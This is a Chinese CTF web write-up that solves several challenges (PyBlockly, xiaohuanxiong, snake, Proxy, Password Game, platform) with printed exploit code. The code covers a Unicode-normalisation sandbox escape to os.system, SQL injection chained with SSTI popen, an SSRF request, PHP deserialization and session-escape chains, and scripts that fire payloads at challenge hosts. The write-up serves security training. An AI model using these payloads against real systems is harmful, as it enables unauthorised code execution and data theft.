获取中...

-

Just a minute...

PyBlockly

黑名单过滤了所有符号,只能在print里用字母和数字,

1
2
3
4
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"

但是由于unidecode函数,能够将 Unicode 字符转换为最相似的 ASCII 字符

这里是先检测黑名单,再转化,那么我们可以找到与我们需要的字符最相似的字符,就可以绕过过滤,然后经过unidecode函数转化,就变成我们想要的ascii字符了。

然后由于这里是拼接字符串,我们可以逃逸出去执行任意python代码。

举个栗子:我传入a')\nprint("Infernity")#,经过拼接之后就变成了:

1
2
print('a')
print("Infernity")#')

就会回显aInfernity。我们再把特殊字符找到它最相似的字符:比如(换成#换成

1
a'⁾\nprint⁽"Infernity"⁾﹟

image-20241102125723325

方便后续转换,这里贴一个脚本:

1
2
3
text = ""

print(text.replace('_','_').replace('(','⁽').replace(')','⁾').replace('\'',''').replace('#','﹟').replace('[','[').replace(']',']').replace('=','⁼').replace('"','"').replace('.','․').replace(':',':').replace('/','/').replace('-','-').replace('>','﹥'))

现在绕过第一步了,第二步到了要rce的地方

1
2
3
4
5
6
7
8
9
10
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")


__import__('sys').addaudithook(my_audit_hook)

我们传入的东西都会进这个hook,AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了。但是这里没有过滤os和system,所以我们可以直接__import__("os").system("whoami")

但是len(event_name)有限制,会检测os.system,我们的长度肯定是超过了的。

但是我们可以通过覆盖len函数,来绕过长度限制:

1
__builtins__.len = lambda x:1

然后直接rce了(直接import可能会有问题,但是我本地可以,远程可以用继承链打。)

1
a'⁾\n__builtins__․lenlambda x:1\n__import__⁽'os'⁾․system⁽'whoami'⁾﹟
1
a'⁾#\n__builtins__․len ⁼ lambda x:1\n\n[ x․__init__․__globals__ for x in ''․__class__․__base__․__subclasses__⁽⁾ if x․__name__⁼⁼"_wrap_close"][0]["system"]⁽"ls /-al"⁾#

b017e470-feda-4a53-96d2-90a7133a1505

需要提权

cd60b7cd-e902-477d-ab12-d4fe477b4460

参考gtfobins: https://r0yanx.com/gtfobins/dd/

f1abf556-2db2-48f5-9881-8557a07d55a7

xiaohuanxiong

废话1:

/search?keyword=1 这里sqlmap可以嗦数据库所有内容,但是admin的密码是加盐的md5,无法爆破。

废话2:拿到小浣熊CMS源码,全局搜admin

image-20241102175555820

在admin的登录逻辑,是设置了session为{“xwx_admin”:username},可爱捏,但是很煞笔捏,哪有网站明文session啊?

所以我们注册一个账号,手动添加cookie:xwx_admin:Infernity

然后进去/admin/admins就可以到后台页面了。

正文:

上面全是错的,根本不需要登录,也不需要cookie,直接就可以他妈的进后台管理页面。

然后进入/admin/payment/index页面,这里有file_put_contens函数,可以写马进去,这个payment.php会在各个地方都有包含,写个马进去随便找个地方就可以rce了。

image-20241102180328083

463bfe36-1624-4920-9010-18dca2a664c1

66a4ccf3-2497-4c28-a5d6-d12796834f95

snake

把每次行动延时改为0.4秒,手打50分就通关了。(打了四遍QAQ)

setInterval(update, 400);

胜利页面:/snake_win?username=admin可以xss没啥用

经过测试发现可以sql注入,数据库是sqllite的:

1
/snake_win?username=a'union select 1,2,sqlite_version()--

后面查表查数据没找到任何有用的东西,最后发现是结合了ssti。=-=

1
a'union select 1,2,(select "{{7*7}}") --

42945632-6661-4760-b130-3559fd11e990

1
a'union select 1,2,(select "{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /f*').read()}}")--

a2e4f41f-7361-42a5-a884-4ad919838dc0

有点脑洞了。

Proxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
func main() {
r := gin.Default()

v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}

v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}

client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}

if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}

return nil
},
}

req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}

resp, err := client.Do(req)

if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

defer resp.Body.Close()

body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}

c.Writer.Write(body)
c.Abort()
})
}

r.Run("127.0.0.1:8769")
}

获取flag的路由在/v1/api/readflag

但是nginx限制了/v1路由的访问

7b01c938-7b34-4e02-b3c9-606952c15ec3

但是/v2/api/proxy这个路由可以构造一个url请求,绕过中间件去访问/v1/api/readflag

1
req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))

所以只需要v2 发一个post请求过去就行:

1
{"URL":"http://127.0.0.1:8769/v1/api/flag","Method":"POST","Body":""}
image-20241103135058428

flag{a156a702-6a71-4ebe-83bf-8cb7492c913f}

Password Game

他会要求你的密码满足以下几个条件:

  1. 至少包含数字和大小写字母
  2. 密码中所有数字之和必须为xx的倍数
  3. 请密码中包含下列算式的解(如有除法,则为整除): xxxx / xxx

密码都满足后,会给一个源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}

反序列化链子在password里触发,所以还是得满足密码条件,加上序列化字符串里有数字,这里写个脚本:

25%左右成功率吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import re

url = "http://eci-2ze420okq7lsn5wjipao.cloudeci1.ichunqiu.com/"
payload = '''O:4:"user":3:{s:8:"username";s:9:"Infernity";s:8:"password";N;s:5:"value";N;}'''

def check1(number):
x9 = int(number)//9 #多少个9
yushu = int(number)%9 #余数
return "9"*x9+str(yushu)

def check2(number,xxbeishu,payload):
total = 0
xxbeishu = int(xxbeishu)*5 #先把倍数变大,不然可能会出现负数
for i in range(len(number)-1): #遍历每一个数字加起来
total += int(number[i])
temp = xxbeishu-total-check3(payload) #减去第三步需要的数字
return number+check1(temp) #把剩下不够的数字用check1来补9和余数

def check3(payload):#检查payload里的数字
numbers = re.findall(r'\d+', payload)
total_sum = sum(int(num) for num in numbers)
return total_sum


sess = requests.Session()
sess.post(url+"/index.php?action=start", data={"name":"asd"})

res1 = sess.post(url + "/game.php", data={"password": "Aa132"}) #拿密码中所有数字之和必须为xx的倍数
xxbeishu = re.search(r"密码中所有数字之和必须为(\d+)的倍数", res1.text)
nextpass = check1(xxbeishu[1])

res2 = sess.post(url + "/game.php", data={"password": "Aa"+nextpass})
shuanshi = re.search(r"(\d+)\s*([\+\-\*/])\s*(\d+)", res2.text)

num1 = int(shuanshi[1])
fuhao = shuanshi[2]
num2 = int(shuanshi[3])

match fuhao:
case "+":
result = num1+num2
case "-":
result = num1-num2
case "*":
result = num1*num2
case "/":
result = num1//num2

nextpass = check2(str(result),xxbeishu[1],payload)
res3 = sess.post(url + "/game.php", data={"password": payload + "Aa"+nextpass})
print(res3.text)

6CE905E5C9FB20DD0B3960A6C1666DB7

332750B67822FA09000338CA4130DC4E

在class root里value被赋值了flag,可以用地址引用,让user里的username取value的地址,就会自动输出flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class root{
public $username;
public $value;
}
class user{
public $username="2024qwb";
public $password;
public $value;
}

$a = new root();
$a->username = new user();
$a->value = &$a->username->username; //刚开始给username赋值2024qwb,同时value也是2024qwb了,所以就能进入get,然后get给value赋值为flag,username也就是flag了。
$b = serialize($a);
$b = str_replace("s:7:\"2024q","S:7:\"2024\\71",$b);
echo $b;

怎么进入get呢?

最后这里$user->password,root类里没有password属性,就自动进入get了。

1
2
3
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}

把得到的链子填入上面的python脚本里就能拿到flag。

image-20241103155109815

platform

www.zip下载源码

看了一眼class.php 考点应该是session反序列化

1
2
3
4
5
6
7
8
9
10

private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];
$sessionData = file_get_contents($sessionFile);

foreach ($this->sensitiveFunctions as $function) {
if (strpos($sessionData, $function) !== false) {
$sessionData = str_replace($function, '', $sessionData); //可以双写绕过
}
}
file_put_contents($sessionFile, $sessionData);

利用过滤进行逃逸控制反序列化内容。字符串逃逸了。

举个栗子:

1
2
username=passthrupassthrupassthrupassthrupassthrupassthrupassthru
password=O:15:"notouchitsclass":1:{s:4:"data";s:10:"phpinfo();";}

如果我这样写,那么到sess里的数据会长这样:

1
user|s:56:"passthrupassthrupassthrupassthrupassthrupassthrupassthru";session_key|s:25:"uz6IWN70l641vlzLjeixuI8CT";password|s:56:"O:15:"notouchitsclass":1:{s:4:"data";s:10:"phpinfo();";}";

经过处理之后,就变成了

1
user|s:56:"";session_key|s:25:"uz6IWN70l641vlzLjeixuI8CT";password|s:56:"O:15:"notouchitsclass":1:{s:4:"data";s:10:"phpinfo();";}";

image-20241103163347648

如果我能让蓝色部分全部被算在user里,后面剩下的部分我就可控,可以反序列化,只需要在payload前面加;xx|

;是分隔前面的数据,xx是键名随便,|是必要格式。

现在我的数据就变成了:

image-20241103163738734

session_key是随机的,我只需要多发几次包让key的长度与其他脏数据加起来等于56即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://eci-2zeikei7c3gbjdb3tab6.cloudeci1.ichunqiu.com"

data = {
"username":"passthrupassthrupassthrupassthrupassthrupassthrupassthru",
"password":";xx|O:15:\"notouchitsclass\":1:{s:4:\"data\";s:20:\"syssystemtem('/readflag');\";}"
} #注意双写
cookies = {"PHPSESSID":"aaa"}

while True:
res = requests.post(url+"/index.php",data=data,cookies=cookies)
if "flag" in res.text:
print(res.text)
break

image-20241103164639960

相关文章
评论
分享
  • SUCTF 2025 WEB部分wp

    SU_photogallery 尝试源码泄露 https://www.cnblogs.com/Kawakaze777/p/17799235.html![e0dcf5e1-a150-4c37-bd6e-bf45ea40a99b](img...

    SUCTF 2025 WEB部分wp
  • 2024鹏城杯web全wp

    python口算-pcb2024123456789101112131415161718192021222324import requestsimport reurl = "http://192.168.18.28"...

    2024鹏城杯web全wp
  • SCTF2024 ezRender

    ezRender这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。 jwt密钥生成逻辑: 123456789101112131415161718192021import timec...

    SCTF2024 ezRender
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛全wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛全wp
  • PolarCTF2024春季个人挑战赛全wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛全wp